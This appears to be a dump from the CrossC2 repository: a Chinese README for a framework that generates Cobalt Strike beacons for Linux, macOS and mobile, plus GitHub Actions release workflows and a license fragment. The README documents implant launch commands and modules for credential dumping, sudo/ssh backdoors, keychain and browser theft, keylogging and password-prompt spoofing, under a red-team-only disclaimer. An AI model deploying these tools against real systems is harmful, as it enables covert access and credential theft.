id: upload-release-asset3 224 | uses: actions/upload-release-asset@v1 225 | env: 226 | GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} 227 | with: 228 | upload_url: ${{ steps.latest_release_info3.outputs.upload_url }} # This pulls from the CREATE RELEASE step above, referencing it's ID to get its outputs object, which include a `upload_url`. See this blog post for more info: https://jasonet.co/posts/new-features-of-github-actions/#passing-data-to-future-steps 229 | asset_path: /tmp/CrossC2Kit-${{ steps.date3.outputs.date }}.zip 230 | asset_name: CrossC2Kit-GithubBot-${{ steps.date3.outputs.date }}.zip 231 | asset_content_type: application/zip 232 | -------------------------------------------------------------------------------- /README_zh_full.md: -------------------------------------------------------------------------------- 1 | # CrossC2 framework 2 | 3 | [README](README.md) | [中文文档](README_zh.md) 4 | 5 | 🚀 更快捷的生成方式,参见 **cna** 介绍 [GO📌](#cna插件方式) 6 | 7 | 🔥 **Linux** & **MacOS** 支持无文件落地从内存中加载执行 **动态库** 或 **可执行文件** [GO📖](https://gloxec.github.io/CrossC2/zh_cn/api/) 8 | 9 | 🔥 灵活自定义执行文件的数据返回类型,**端口扫描**, **屏幕截图**, **键盘记录**, **口令凭证** 等用户自定义开发实现更便捷 [GO📖](https://gloxec.github.io/CrossC2/zh_cn/api/commons.html) ( [样例: GO📌](#CustomExtension) ) 10 | 11 | 🔥 自定义通信协议 [GO📖](https://gloxec.github.io/CrossC2/zh_cn/protocol/) 12 | 13 | 🔥 现已支持横向移动 [GO📌](#横向移动:-使用方法) 14 | 15 | 🔥 现已支持从内存加载脚本 [GO📌](#内存中运行脚本) 16 | 17 | 🎉 **Android** & **iPhone** 支持 [GO📌](#Mobile) 18 | 19 | 20 | # CrossC2 framework - 生成CobaltStrike的跨平台beacon 21 | 22 | ``` 23 | ▄████▄ ██▀███ ▒█████ ██████ ██████ ▄████▄ ██████▄ 24 | ▒██▀ ▀█ ▓██ ▒ ██▒▒██▒ ██▒▒██ ▒ ▒██ ▒ ▒██▀ ▀█ ██░ 25 | ▒▓█ ▄ ▓██ ░▄█ ▒▒██░ ██▒░ ▓██▄ ░ ▓██▄ ▒▓█ █████▒ 26 | ▒▓▓▄ ▄██▒▒██▀▀█▄ ▒██ ██░ ▒ ██▒ ▒ ██▒ ▒▓▓▄ ▄█ ░▒██ 27 | ▒ ▓███▀ ░░██▓ ▒██▒░ ████▓▒░▒██████▒▒▒██████▒▒ ▒ ▓███▀ ░▒▓█████▓ 28 | ░ ░▒ ▒ ░░ ▒▓ ░▒▓░░ ▒░▒░▒░ ▒ ▒▓▒ ▒ ░▒ ▒▓▒ ▒ ░ ░ ░▒ ▒ ░▒ ░▓ ░░ 29 | ░ ▒ ░▒ ░ ▒░ ░ ▒ ▒░ ░ ░▒ ░ ░░ ░▒ ░ ░ ░ ▒ ░ ░░ ░ 30 | ░ ░░ ░ ░ ░ ░ ▒ ░ ░ ░ ░ ░ ░ CrossC2 v2.2 @hook 31 | ░ ░ ░ ░ ░ ░ ░ ░ ░ ░ 32 | ░ ░ 33 | ``` 34 | 35 | ![](media/15901534124389/15985513904454.jpg) 36 | 37 | ![](media/15848885324084/15848892759774.jpg) 38 | 39 | 40 | # Description 41 | 42 | 面向企业自身及红队人员的安全评估框架,支持CobaltStrike对其他平台(Linux/MacOS/...)的安全评估,支持自定义模块,及包含一些常用的渗透模块。 43 | 44 | `仅做企业、组织内部自身使用,本框架具有一定脆弱性,非专业人员请勿使用,以及禁止用于非法用途及盈利等,否则造成经济损失等问题自行承担并追究其相关责任!` 45 | 46 | 47 | | | Windows | Linux | MacOS | iOS | Android | Embedded | 48 | | --- | --- | --- | --- | --- | --- | --- | 49 | | Run Env (x86) | | √ | | | | | 50 | | Run Env (x64) | √ | √ | √ | | | | 51 | | gen beacon (x86) | | √ | | | √ | | 52 | | gen beacon (x64) | | √ | √ | | | | 53 | | gen beacon (armv7) | | | | ⍻ | √ | | 54 | | gen beacon (arm64) | | | | √ | √ | | 55 | | gen beacon (mips[el]) | | | | | | ⍻ | 56 | 57 | 受限说明: 58 | * CobaltStrike: 暂时仅支持3.14最后一个版本(bug fixs), 以及4.x版本(详见cs4.1分支). 59 | * Linux: 特别老旧的系统可以选择cna中的"Linux-GLIBC"选项(2010年左右) 60 | * MacOS: 新系统仅支持64位程序 61 | * iOS: sandbox 62 | * Embedded: only *nix 63 | * ⍻ : 加载还在完善中 64 | 65 | # Install & Usage 66 | 67 | > 下载基础文件: 68 | 69 | * **CrossC2.cna** 70 | * **genCrossC2** `(如果操作系统是Windows, 下载genCrossC2.Win.exe)` 71 |
72 | 注意事项⚠️ 73 | genCrossC2.Win.exe 需要依赖的两个文件为`ucrtbased.dll`,`vcruntime140d.dll`。 74 |
可自己安装依赖或者使用issue中提供的文件拷贝至`C:\Windows\System32` 75 | [issue: win_sdk_dll](https://github.com/gloxec/CrossC2/issues/49#issuecomment-748630879) 76 |
77 | 78 | 1. 修改`CrossC2.cna`脚本中`CC2_PATH, CC2_BIN`路径为**真实路径** 79 | ``` 80 | 3: $CC2_PATH = "/xxx/xx/xx/"; # <-------- fix 81 | 4: $CC2_BIN = "genCrossC2.MacOS"; 82 | ``` 83 | 84 | 2. 选择`Script Manager`,添加`CrossC2.cna` (如果成功安装,菜单栏会多出一项 `CrossC2`) 85 | 86 | 87 | > 建立listener与拷贝key: 88 | 89 | 因为一些原因,目前强制只支持HTTPS beacon。 90 | 91 | 1. 复制**server上cs目录**下的 `.cobaltstrike.beacon_keys`到**本地目录**下 92 | 93 | > 功能扩展: 94 | 95 | 1. 下载CrossC2Kit, 添加`CrossC2Kit_Loader.cna`, 包含内存加载等其它功能。(`cs4.x`版本文件管理功能缺失,必须使用此Loader来重新启用文件管理) 96 | 97 | > 运行beacon的方法: 98 | 99 | * 在目标上运行CrossC2插件生成的一键上线脚本 100 | * 上传beacon至目标机器后进行赋权运行 101 | * 为beacon设定工作目录并运行: `export CCPATH=/opt/ && /tmp/c2` 102 | * 为beacon临时指定协议库并运行: `/tmp/c2 /tmp/c2-rebind.so` 103 | * 为beacon临时设定C2配置: `export CCHOST=127.0.0.1 && export CCPORT=443 && /tmp/c2` 104 | 105 | 106 | ## 安装参考文档: [📖 Wiki](https://gloxec.github.io/CrossC2/zh_cn/usage/) 107 | 108 | ## 自定义模块: API介绍 [📖 Wiki](https://gloxec.github.io/CrossC2/zh_cn/api/) 109 | 110 | 采用内存无落地加载方式,支持动态库(.so/.dylib)以及可执行文件(ELF/MachO)。 111 | 112 | 113 | 执行时输出信息的类型可以自由指定,已预定了返回类型,可对接CS原生的返回数据类型。 114 | 115 |
116 | 注意事项⚠️ 117 | `⚠️: 虽然文件都是无落地从内存加载,但选用可执行文件(ELF/MachO)的方式在传入参数时,进程是可以在ps中查看到的,不过进程名可以自定义。` 118 |
`⚠️: 关于特殊的数据类型,如密码,端口扫描结果等,请参照cs原生功能返回的信息编写,将按照正则匹配。` 119 |
120 | 121 |
122 | 现有扩展模块 123 | 124 | 1. 密码dump模块:cc2_mimipenguin 采用开源项目 MimiPenguin2.0,参见 CrossC2Kit/mimipenguin/mimipenguin.cna 125 | 126 | 2. 认证后门模块:cc2_auth, cc2_ssh sudo/su/passwd等认证后门,ssh被连接及连接其他主机的凭证都将被记录。 127 | 128 | 3. 信息收集模块:cc2_safari_dump, cc2_chrome_dump, cc2_iMessage_dump, cc2_keychain_dump 常见浏览器的访问记录,以及iMessage聊天内容与钥匙串中保存的认证凭据都将被获取。 129 | 130 | 4. 流量代理模块:cc2_frp 支持快速TCP/KCP(UDP)的反向socks5加密流量代理。 131 | 132 | 5. 键盘记录模块:cc2_keylogger 记录用户的键盘输入。 133 | 134 | 6. 网络探测模块:cc2_portscan, cc2_serverscan 进行端口扫描及服务版本扫描。 135 | 136 | 7. 权限提升模块:cc2_prompt_spoof 诱导欺骗获取用户账户密码。 137 | 138 | 8. 任务管理模块:cc2_job 管理内存中运行的模块。 139 | 140 | 9. ... 141 | 142 |
143 | 144 | 145 | ## 自定义通信协议: API介绍 [📖 Wiki](https://gloxec.github.io/CrossC2/zh_cn/protocol/) 146 | 147 | 可以更便捷的实现C2Profile配置及自定义通信协议TCP/UDP等等。 148 | 149 | ## 横向移动 150 | 151 | 1. 生成 `Linux-bind` / `MacOS-bind` 类型的beacon 152 | 2. 内网中的目标运行 `./MacOS-bind.beacon ` 开启服务 153 | 3. 在网络联通的session中运行 `connect :` 154 | 155 | ## 内存中运行脚本 156 | 157 |
158 | 运行示例 159 | 160 | 可以直接在会话中调用主机中的 **bash** / **python** / **ruby** / **perl** / **php** 等脚本解释器执行传入内存中的脚本。 161 | `进程中不会存在任何信息,所有运行的内容皆从内存中传入解释器` 162 | 1. python c:\getsysteminfo.py 163 | 2. python import base64;print base64.b64encode('whoami'); print 'a'*40 164 | 3. php 165 | 166 | 尝试加载本地脚本: 167 | ![](media/15901534124389/16041501958652.jpg) 168 | 169 | 尝试直接运行脚本语言: 170 | ![](media/15901534124389/16041502298949.jpg) 171 | 172 |
173 | 174 | # 即将上线 175 | 176 | 1. 丰富的C2Profile支持 ✔︎ (cna生成beaocn时选择自定义HTTP模块) 177 | 2. Staged类型Shellcode生成 ✔︎ (暂时只支持Linux,并且需要在server服务器上启动stagerServer) 178 | 3. http-proxy (auth) & socks 代理回连支持 179 | 4. 流量中转支持 ✔︎ (暂时采用回连socks代理的方式) 180 | 5. node beacon? (单个节点式,可进行不依靠teamserver托管其他beacon) 181 | 6. Linux & MacOS 端so/dylib的上线支持、及其衍生的进程注入等功能 182 | 183 | # Examples 184 | 185 |
186 | Mobile 187 | 188 | ## Mobile 189 | ![](media/15848885324084/15848892759774.jpg) 190 | 191 | ![](media/15848885324084/15848892902723.jpg) 192 | 193 |
194 | 195 |
196 | MacOS & Linux 197 | 198 | ## MacOS & Linux 199 | 200 | ![](media/15794884596715/15795001494711.jpg) 201 | ![](media/15824278372797/15824282351545.jpg) 202 | 203 |
204 | 205 |
206 | CustomExtension 207 | 208 | ## CustomExtension 209 | 210 | 开发动态库,自定义数据返回类型,例如实现一些内置功能。 211 | 212 | 213 | ### 键盘记录 214 | ![](media/15854585486601/15854592406527.jpg) 215 | 216 | ### 口令凭证 217 | ![](media/15854585486601/15854601104042.jpg) 218 | 219 | ### 端口扫描 220 | ![](media/15854585486601/15854593957704.jpg) 221 | 222 |
223 | 224 | # ChangeLog 225 | 226 | ## release v2.2.5 - stable : 227 | * -修复 v2.2.4 版本引入的Linux高版本上线问题 228 | * -修复 内存执行在传入参数时可能会失败的bug 229 | * -修复 修复网络连接异常时导致崩溃的bug,例如正在发包时teamserver突然异常退出等 #106 230 | * -修复 connect指令在连接子节点时未指定端口将异常退出的bug #95 231 | * +支持 CDN类服务器SNI支持,现如Cloudflare服务已可正常使用 #87 232 | * +支持 Linux 32&64 位都已支持procfs获取进程信息 233 | * -变更 beacon上线时`[config]: alive`将默认不显示,可使用export CC_DEBUG=1开启 #78 234 | 235 | ## release v2.2.4 - stable : 236 | * -修复 v2.2.3 的上线问题 #84 #85 237 | * +支持 Linux支持从procfs中获取进程列表信息 238 | 239 | ## release v2.2.3 : 240 | * -修复 修复32位Linux下打开文件管理器时beacon退出的bug 241 | * -修复 修复多指令合并任务中`bcd`、`bls`、`bupload`等函数解析错误问题,现在可以处理与windows beacon相同的cna脚本 #81 242 | * +支持 添加两个环境变量用于临时设置beacon连接的C2地址 (`CCHOST` & `CCPORT`) 243 | 244 | > export CCHOST=127.0.0.1 && export CCPORT=443 && /tmp/c2 245 | 246 | * +支持 添加bupload函数支持 https://github.com/gloxec/CrossC2/issues/81#issuecomment-841068719 247 | 248 | ## release v2.2.2 - stable: 249 | * -修复 修复加载自定义通信协议库时导致beacon无法启动的一些bug 250 | * +支持 新增两种强制指定beacon加载自定义通信协议库的运行方式 251 | 252 | > 1. export CCPATH=/opt/ && /tmp/c2 253 | (为beacon强制设定具有权限的工作目录, 例如 `/opt/`) 254 | > 2. /tmp/c2 /tmp/c2-rebind.so 255 | (为beacon强制指定通信协议库) 256 | 257 |
258 | 历史版本更新说明 259 | 260 | ## release v2.2.1 : 261 | * -修复 修复文件下载速度过慢的问题(现已达到满速) 262 | * -修复 修复同时下载多个文件出现的问题(使用`downloads`命令查看进度) 263 | * -修复 修复低版本内核系统上`/tmp/`目录文件权限默认没有执行权限,导致`beacon`无法启动的问题 264 | * -修复 修复低版本内核系统上`beacon`反复上线时,资源被占用导致失败的问题 265 | * -修复 修复文件落地时在低版本内核系统时遇到名称冲突,无法运行的问题 266 | 267 | ## release v2.2 : 268 | 269 | * -变更 仅支持 CS4.x (>=4.1),低版本后续将不再支持。 270 | * -修复 修复通信协议重绑定在低版本Linux内核上错误的问题 271 | * +支持 C2域名解析支持 272 | * +支持 支持内存执行组件的持续化调用 273 | * +支持 支持添加内存执行的shell别名,方便团队其他人直接通过shell指令调用已加载的内存执行组件 274 | * +支持 python-import支持,像powershell-import一样为python执行提供便利 275 | * +支持 genCrossC2生成器支持更低版本的GLIBC 276 | 277 | ## release v2.1 : 278 | 279 | * +支持 支持从内存中解析执行脚本 280 | * +支持 支持CobaltStrike 4.1 (详见cs4.1分支) 281 | 282 | ## release v2.0 : 283 | 284 | * -修复 修复文件管理处上传文件时带反斜杠导致路径出错的问题 285 | * -修复 真实环境中多种场景下长时间测试,修复一些隐藏的问题,现在更加稳定 286 | * +支持 更低内核版本系统的支持 287 | * +支持 启动时环境变量自动设置 288 | * +支持 启动时敏感env记录删除 289 | * +支持 启动时可后台服务进程方式挂属init进程下 290 | * +支持 增加session spawn功能 291 | * +支持 增加session 设置环境变量的功能 292 | * +支持 增加session getsystem权限提升功能 293 | * +支持 增加session 处理多个合并任务的解析功能 294 | * +支持 增加 Mac & Linux 横向移动的功能 295 | 296 | ## release v1.5 : 297 | 298 | * -修复 修复genCrossC2的通讯协议重绑定错误 299 | 300 | ## release v1.4 : 301 | 302 | * -修复 Linux后台进程与joblist显示错误的问题 303 | 304 | ## release v1.3 : 305 | 306 | * +支持 支持自定义通信协议 (HTTP, TCP, UDP...) . 307 | * +支持 新添加了joblist模块,可用来管理内存中持续运行的模块. 308 | * +支持 添加了反向代理模块{TCP/KCP(UDP)},同样属于内存无落地运行. 309 | 310 | 311 | md5(genCrossC2.Linux) = 221b3ede4e78fee80f59946f116d7245 312 | 313 | md5(genCrossC2.MacOS) = d216cad3fe3c25ead46b85c7ad7051f1 314 | 315 | md5(genCrossC2.Win.exe) = a573506e8825b46b041ac3b9307a656b 316 | 317 | ## release v1.2 : 318 | 319 | * +支持 可以支持选择生成beacon时所需的key文件. 320 | * +支持 支持生成shellcode. 321 | * -变更 不再依赖cobaltstrike.jar (意味着CrossC2插件可以放在任意位置). 322 | * -变更 更加便捷的Unix系统上线方式. 323 | 324 | md5(genCrossC2.Linux) = 2ef7250cc3787d3cbd1e6f99c3c434aa 325 | 326 | md5(genCrossC2.MacOS) = eaabde94dd7fed8dabb37cd67a1171c4 327 | 328 | md5(genCrossC2.Win.exe) = c65ac808ed3a1000b3ff4ebb8c48ea4e 329 | 330 | ## release v1.1 : 331 | 332 | * -修复 内存加载执行功能的多国语言乱码问题修复 333 | 334 | md5(genCrossC2.Linux) = 2347ed6e30e4655b793a6dbb4d33d25c 335 | 336 | md5(genCrossC2.MacOS) = f530333500a76fe228864f8901af4104 337 | 338 | md5(genCrossC2.Win.exe) = c223e31b2674a8a11d3254f92259e87a 339 | 340 | ## release v1.0 : 341 | 342 | * -修复 真实环境中多种场景下长时间多次测试,修复一些隐藏的问题,现在更加稳定 343 | * +支持 Linux & MacOS 支持无文件内存加载执行 344 | * +支持 预留CS内置数据类型,更加丰富的用户自定义插件返回数据类型,可自由便捷实现'portscan'等等原生功能 345 | 346 | md5(genCrossC2.Linux) = 12295998d4bffd5b4c4a411fb33428bb 347 | 348 | md5(genCrossC2.MacOS) = c88ce9df47529b243e2215a866d445c5 349 | 350 | md5(genCrossC2.Win.exe) = 51d1814f1ebbab634bce0373ceb7cee6 351 | 352 | ## release v0.4 : 353 | 354 | * -变更 shell命令执行时采用后台多线程方式 355 | * -变更 shell命令执行时错误输出重定向到标准输出 356 | * +支持 增加后台文件下载功能 357 | 358 | md5(genCrossC2.Linux) = b2e34f721ec2543b6625e33c8c2935df 359 | 360 | md5(genCrossC2.MacOS) = 4e38a9d9a3eeff309648afc02e2e7664 361 | 362 | ## release v0.3 : 363 | 364 | * +支持 老系统Linux上低版本GLIBC的兼容 (2010年左右) 365 | 366 | ## release v0.2 : 367 | 368 | * -修复 Linux genCrossC2.Linux 崩溃的bug. 369 | * -修复 大文件上传时末尾字节写入不全的bug. 370 | * +支持 GUI的文件管理器. 371 | 372 | md5(genCrossC2.Linux) = 8256374d88c2149efc102aff7e90b3f9 373 | 374 | md5(genCrossC2.MacOS) = 08fce0a5d964a091d8bf2344d7ab809e 375 | 376 | ## release v0.1 : 377 | 378 | * 支持 生成 Linux & MacOS beacon. 379 | 380 | md5(genCrossC2.Linux) = f4c0cc85c7cdd096d2b7febedc037538 381 | 382 | md5(genCrossC2.MacOS) = 79fff0505092fc2055824ed1289ce8f9 383 | 384 | 385 |
386 | 387 | 388 | 389 | 390 | 391 | 392 | 393 | -------------------------------------------------------------------------------- /.github/workflows/compile-base-release.yml: -------------------------------------------------------------------------------- 1 | on: 2 | release: 3 | types: 4 | published 5 | 6 | name: Compile Base Release 7 | jobs: 8 | job1: 9 | name: build (linux) 10 | runs-on: ubuntu-20.04 11 | steps: 12 | - name: Checkout code 13 | uses: actions/checkout@v2 14 | with: 15 | submodules: 'true' 16 | - name: Get current date 17 | id: date 18 | run: echo "::set-output name=date::$(date +'%Y-%m-%d')" 19 | - name: Build project 20 | run: | 21 | uname -a 22 | cp -r CrossC2Kit/third-party /tmp/third-party 23 | cp release.sh /tmp/ 24 | cp CrossC2Kit/compile.sh /tmp/ 25 | cd /tmp 26 | chmod 755 compile.sh 27 | chmod 755 release.sh 28 | ./compile.sh > /tmp/elog 29 | find /tmp/third-party/ >> /tmp/elog 30 | ./release.sh >> /tmp/elog 31 | echo 1 > /tmp/blank 32 | cd /tmp/ 33 | - name: Build project 34 | run: | 35 | echo "# Arch" >> $GITHUB_STEP_SUMMARY 36 | uname -a >> $GITHUB_STEP_SUMMARY 37 | echo "# Build Result" >> $GITHUB_STEP_SUMMARY 38 | echo "" >> $GITHUB_STEP_SUMMARY 39 | echo "\`\`\`python" >> $GITHUB_STEP_SUMMARY 40 | cat /tmp/elog >> $GITHUB_STEP_SUMMARY 41 | echo "\`\`\`" >> $GITHUB_STEP_SUMMARY 42 | - name: Gets latest created release info 43 | id: latest_release_info 44 | uses: jossef/action-latest-release-info@v1.1.0 45 | env: 46 | GITHUB_TOKEN: ${{ github.token }} 47 | - name: Create a placeholder file 48 | id: create-placeholder-file 49 | uses: actions/upload-release-asset@v1 50 | env: 51 | GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} 52 | with: 53 | upload_url: ${{ steps.latest_release_info.outputs.upload_url }} # This pulls from the CREATE RELEASE step above, referencing it's ID to get its outputs object, which include a `upload_url`. See this blog post for more info: https://jasonet.co/posts/new-features-of-github-actions/#passing-data-to-future-steps 54 | asset_path: /tmp/blank 55 | asset_name: placeholder 56 | asset_content_type: application/zip 57 | - name: Delete old release assets 58 | uses: mknejp/delete-release-assets@v1 59 | with: 60 | token: ${{ github.token }} 61 | tag: ${{ steps.latest_release_info.outputs.tag_name }} 62 | assets: | 63 | bot-third-linux*.zip 64 | placeholder 65 | - name: Upload Release Asset 66 | id: upload-release-asset 67 | uses: actions/upload-release-asset@v1 68 | env: 69 | GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} 70 | with: 71 | upload_url: ${{ steps.latest_release_info.outputs.upload_url }} # This pulls from the CREATE RELEASE step above, referencing it's ID to get its outputs object, which include a `upload_url`. See this blog post for more info: https://jasonet.co/posts/new-features-of-github-actions/#passing-data-to-future-steps 72 | asset_path: /tmp/third-party.zip 73 | asset_name: bot-third-linux-${{ steps.date.outputs.date }}.zip 74 | asset_content_type: application/zip 75 | job2: 76 | name: build (macOS) 77 | runs-on: macos-11 78 | steps: 79 | - name: Checkout code 80 | uses: actions/checkout@v3 81 | with: 82 | submodules: 'true' 83 | - name: Get current date 84 | id: date2 85 | run: echo "::set-output name=date::$(date +'%Y-%m-%d')" 86 | - name: Build project 87 | run: | 88 | uname -a 89 | cp -r CrossC2Kit/third-party /tmp/third-party 90 | cp release.sh /tmp/ 91 | cp CrossC2Kit/compile.sh /tmp/ 92 | cd /tmp 93 | chmod 755 compile.sh 94 | chmod 755 release.sh 95 | ./compile.sh > /tmp/elog 96 | find /tmp/third-party/ >> /tmp/elog 97 | ./release.sh >> /tmp/elog 98 | echo 1 > /tmp/blank 99 | cd /tmp/ 100 | - name: Build project 101 | run: | 102 | echo "# Arch" >> $GITHUB_STEP_SUMMARY 103 | uname -a >> $GITHUB_STEP_SUMMARY 104 | echo "# Build Result" >> $GITHUB_STEP_SUMMARY 105 | echo "" >> $GITHUB_STEP_SUMMARY 106 | echo "\`\`\`python" >> $GITHUB_STEP_SUMMARY 107 | cat /tmp/elog >> $GITHUB_STEP_SUMMARY 108 | echo "\`\`\`" >> $GITHUB_STEP_SUMMARY 109 | - name: Gets latest created release info 110 | id: latest_release_info2 111 | uses: jossef/action-latest-release-info@v1.1.0 112 | env: 113 | GITHUB_TOKEN: ${{ github.token }} 114 | - name: Create a placeholder file 115 | id: create-placeholder-file2 116 | uses: actions/upload-release-asset@v1 117 | env: 118 | GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} 119 | with: 120 | upload_url: ${{ steps.latest_release_info2.outputs.upload_url }} # This pulls from the CREATE RELEASE step above, referencing it's ID to get its outputs object, which include a `upload_url`. See this blog post for more info: https://jasonet.co/posts/new-features-of-github-actions/#passing-data-to-future-steps 121 | asset_path: /tmp/blank 122 | asset_name: placeholder 123 | asset_content_type: application/zip 124 | - name: Delete old release assets 125 | uses: mknejp/delete-release-assets@v1 126 | with: 127 | token: ${{ github.token }} 128 | tag: ${{ steps.latest_release_info2.outputs.tag_name }} 129 | assets: | 130 | bot-third-mac*.zip 131 | placeholder 132 | - name: Upload Release Asset 133 | id: upload-release-asset2 134 | uses: actions/upload-release-asset@v1 135 | env: 136 | GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} 137 | with: 138 | upload_url: ${{ steps.latest_release_info2.outputs.upload_url }} # This pulls from the CREATE RELEASE step above, referencing it's ID to get its outputs object, which include a `upload_url`. See this blog post for more info: https://jasonet.co/posts/new-features-of-github-actions/#passing-data-to-future-steps 139 | asset_path: /tmp/third-party.zip 140 | asset_name: bot-third-mac-${{ steps.date2.outputs.date }}.zip 141 | asset_content_type: application/zip 142 | job3: 143 | needs: [job1, job2] 144 | name: build release 145 | runs-on: ubuntu-20.04 146 | steps: 147 | - name: Checkout code 148 | uses: actions/checkout@v3 149 | with: 150 | submodules: 'true' 151 | - name: Download Release Asset 152 | id: download_release_asset 153 | uses: i3h/download-release-asset@v1 154 | with: 155 | owner: gloxec 156 | repo: CrossC2 157 | tag: latest 158 | file: /bot-third-linux-.*zip/ 159 | path: /tmp/ 160 | - name: Download Release Asset 161 | id: download_release_asset2 162 | uses: i3h/download-release-asset@v1 163 | with: 164 | owner: gloxec 165 | repo: CrossC2 166 | tag: latest 167 | file: /bot-third-mac-.*zip/ 168 | path: /tmp/ 169 | - name: Get current date 170 | id: date3 171 | run: echo "::set-output name=date::$(date +'%Y-%m-%d')" 172 | - name: Build project 173 | run: | 174 | uname -a 175 | cp -r CrossC2Kit /tmp/CrossC2Kit 176 | cp src/CrossC2.cna /tmp/CrossC2.cna 177 | rm -rf /tmp/CrossC2Kit/third-party/ 178 | mv /tmp/bot-third-mac-*.zip /tmp/CrossC2Kit/third-mac.zip 179 | mv /tmp/bot-third-linux-*.zip /tmp/CrossC2Kit/third-linux.zip 180 | cd /tmp/CrossC2Kit/ 181 | unzip -o third-mac.zip 182 | unzip -o third-linux.zip 183 | rm -rf third-mac.zip 184 | rm -rf third-linux.zip 185 | cd /tmp/ 186 | zip -r CrossC2Kit-${{ steps.date3.outputs.date }} CrossC2Kit > /tmp/elog 187 | echo 1 > /tmp/blank 188 | cd /tmp/ 189 | - name: Build project 190 | run: | 191 | echo "# Build Files" >> $GITHUB_STEP_SUMMARY 192 | echo "" >> $GITHUB_STEP_SUMMARY 193 | echo "\`\`\`python" >> $GITHUB_STEP_SUMMARY 194 | cat /tmp/elog >> $GITHUB_STEP_SUMMARY 195 | echo "\`\`\`" >> $GITHUB_STEP_SUMMARY 196 | - name: Gets latest created release info 197 | id: latest_release_info3 198 | uses: jossef/action-latest-release-info@v1.1.0 199 | env: 200 | GITHUB_TOKEN: ${{ github.token }} 201 | - name: Create a placeholder file 202 | id: create-placeholder-file3 203 | uses: actions/upload-release-asset@v1 204 | env: 205 | GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} 206 | with: 207 | upload_url: ${{ steps.latest_release_info3.outputs.upload_url }} # This pulls from the CREATE RELEASE step above, referencing it's ID to get its outputs object, which include a `upload_url`. See this blog post for more info: https://jasonet.co/posts/new-features-of-github-actions/#passing-data-to-future-steps 208 | asset_path: /tmp/blank 209 | asset_name: placeholder 210 | asset_content_type: application/zip 211 | - name: Delete old release assets 212 | uses: mknejp/delete-release-assets@v1 213 | with: 214 | token: ${{ github.token }} 215 | tag: ${{ steps.latest_release_info3.outputs.tag_name }} 216 | assets: | 217 | bot-third-*.zip 218 | CrossC2Kit-*.zip 219 | CrossC2-GithubBot-*.cna 220 | placeholder 221 | - name: Upload CrossC2Kit Release Asset 222 | id: upload-release-asset3 223 | uses: actions/upload-release-asset@v1 224 | env: 225 | GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} 226 | with: 227 | upload_url: ${{ steps.latest_release_info3.outputs.upload_url }} # This pulls from the CREATE RELEASE step above, referencing it's ID to get its outputs object, which include a `upload_url`. See this blog post for more info: https://jasonet.co/posts/new-features-of-github-actions/#passing-data-to-future-steps 228 | asset_path: /tmp/CrossC2Kit-${{ steps.date3.outputs.date }}.zip 229 | asset_name: CrossC2Kit-GithubBot-${{ steps.date3.outputs.date }}.zip 230 | asset_content_type: application/zip 231 | - name: Upload CrossC2 Release Asset 232 | id: upload-release-asset2 233 | uses: actions/upload-release-asset@v1 234 | env: 235 | GITHUB_TOKEN: ${{ secrets.GITHUB_TOKEN }} 236 | with: 237 | upload_url: ${{ steps.latest_release_info3.outputs.upload_url }} # This pulls from the CREATE RELEASE step above, referencing it's ID to get its outputs object, which include a `upload_url`. See this blog post for more info: https://jasonet.co/posts/new-features-of-github-actions/#passing-data-to-future-steps 238 | asset_path: /tmp/CrossC2.cna 239 | asset_name: CrossC2-GithubBot-${{ steps.date3.outputs.date }}.cna 240 | asset_content_type: application/zip 241 | -------------------------------------------------------------------------------- /CrossC2Kit_demo/mimipenguin/LICENSE: -------------------------------------------------------------------------------- 1 | Creative Commons Attribution 4.0 International Public License 2 | https://creativecommons.org/licenses/by/4.0/ 3 | 4 | By exercising the Licensed Rights (defined below), You accept and agree to be bound by the terms and conditions of this Creative Commons Attribution 4.0 International Public License ("Public License"). To the extent this Public License may be interpreted as a contract, You are granted the Licensed Rights in consideration of Your acceptance of these terms and conditions, and the Licensor grants You such rights in consideration of benefits the Licensor receives from making the Licensed Material available under these terms and conditions. 5 | 6 | Section 1 – Definitions. 7 | 8 | Adapted Material means material subject to Copyright and Similar Rights that is derived from or based upon the Licensed Material and in which the Licensed Material is translated, altered, arranged, transformed, or otherwise modified in a manner requiring permission under the Copyright and Similar Rights held by the Licensor. For purposes of this Public License, where the Licensed Material is a musical work, performance, or sound recording, Adapted Material is always produced where the Licensed Material is synched in timed relation with a moving image. 9 | Adapter's License means the license You apply to Your Copyright and Similar Rights in Your contributions to Adapted Material in accordance with the terms and conditions of this Public License. 10 | Copyright and Similar Rights means copyright and/or similar rights closely related to copyright including, without limitation, performance, broadcast, sound recording, and Sui Generis Database Rights, without regard to how the rights are labeled or categorized. For purposes of this Public License, the rights specified in Section 2(b)(1)-(2) are not Copyright and Similar Rights. 11 | Effective Technological Measures means those measures that, in the absence of proper authority, may not be circumvented under laws fulfilling obligations under Article 11 of the WIPO Copyright Treaty adopted on December 20, 1996, and/or similar international agreements. 12 | Exceptions and Limitations means fair use, fair dealing, and/or any other exception or limitation to Copyright and Similar Rights that applies to Your use of the Licensed Material. 13 | Licensed Material means the artistic or literary work, database, or other material to which the Licensor applied this Public License. 14 | Licensed Rights means the rights granted to You subject to the terms and conditions of this Public License, which are limited to all Copyright and Similar Rights that apply to Your use of the Licensed Material and that the Licensor has authority to license. 15 | Licensor means the individual(s) or entity(ies) granting rights under this Public License. 16 | Share means to provide material to the public by any means or process that requires permission under the Licensed Rights, such as reproduction, public display, public performance, distribution, dissemination, communication, or importation, and to make material available to the public including in ways that members of the public may access the material from a place and at a time individually chosen by them. 17 | Sui Generis Database Rights means rights other than copyright resulting from Directive 96/9/EC of the European Parliament and of the Council of 11 March 1996 on the legal protection of databases, as amended and/or succeeded, as well as other essentially equivalent rights anywhere in the world. 18 | You means the individual or entity exercising the Licensed Rights under this Public License. Your has a corresponding meaning. 19 | Section 2 – Scope. 20 | 21 | License grant. 22 | Subject to the terms and conditions of this Public License, the Licensor hereby grants You a worldwide, royalty-free, non-sublicensable, non-exclusive, irrevocable license to exercise the Licensed Rights in the Licensed Material to: 23 | reproduce and Share the Licensed Material, in whole or in part; and 24 | produce, reproduce, and Share Adapted Material. 25 | Exceptions and Limitations. For the avoidance of doubt, where Exceptions and Limitations apply to Your use, this Public License does not apply, and You do not need to comply with its terms and conditions. 26 | Term. The term of this Public License is specified in Section 6(a). 27 | 